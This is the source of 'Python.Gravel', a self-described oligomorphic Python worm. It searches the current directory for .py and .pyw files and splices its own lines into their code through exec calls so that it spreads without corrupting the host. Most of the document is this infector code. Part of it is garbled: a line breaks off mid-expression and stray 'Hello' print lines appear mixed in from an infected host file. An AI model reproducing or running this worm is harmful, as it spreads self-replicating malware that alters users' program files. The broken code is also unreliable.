Python.Gravel
Mike_Hood
# Name : Gravel
# Type : Oligomorphic Python worm
# Author: Mike_Hood
# Description: Gravel searches for python files in the current directory, analyzes their
# code and create a list of all lines that must be executed and that are not
# simple comments or commands wich modify the flow of the program. Using this
# list the worm simply writes its lines in specific areas of the victim's code
# so that neither Gravel's code nor victim's code get corrupted.
# Thanks to: WarGame, girls and music.
# Gravel #########################################################
VirusLines=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24]
import glob, sys
from string import *
MySelf=open(sys.argv[0])
MyCode=MySelf.readlines()
MySelf.close()
VirusCode=[]
exec("for i in range(0,len(VirusLines),1):\n\tVirusCode.append(MyCode[VirusLines[i]])")
VirusCode.append("#GRAVEL\n")
Hostfiles=glob.glob("*.py")+glob.glob("*.pyw")
slabolg=globals()
exec "for Hostfiles in Hostfiles:\n\tfor z in range(12,len(VirusCode),1):\n\t\texec VirusCode[z] in slabolg" in slabolg
source=open(Hostfiles,"rb")
code=source.readlines()
source.close()
exec "if len(code)>0:\n\tif (code[len(code)-1][-1])!=chr(10):\n\t\tcode[len(code)-1]+=chr(10)" in slabolg
GoodLines=[]
exec "for i in range(0,len(code),1):\n\tline=code[i]\n\tif (\"\t\" in line)!=True and (\":\" in line)!=True and (\"#\"in line)!=True and line[0]!=chr(10):\n\t\tGoodLines+=[i]" in slabolg
x=a=0
InfectedCode=[]
exec "for i in range(-1,len(code)-1,1):\n\tif ((i+1) in GoodLines)==1 and x0:\n\tif (code[len(code)-1][-1])!=chr(10):\n\t\tcode[len(code)-1]+=chr(10)" in slabolg
if hello=="Hello":
print("Hello")
else:
print("Hello")
GoodLines=[]
print ("Hello")
exec "for i in range(0,len(code),1):\n\tline=code[i]\n\tif (\"\t\" in line)!=True and (\":\" in line)!=True and (\"#\"in line)!=True and line[0]!=chr(10):\n\t\tGoodLines+=[i]" in slabolg
x=a=0
InfectedCode=[]
for i in range(0,15,1):
print("Hello")
exec "for i in range(-1,len(code)-1,1):\n\tif ((i+1) in GoodLines)==1 and x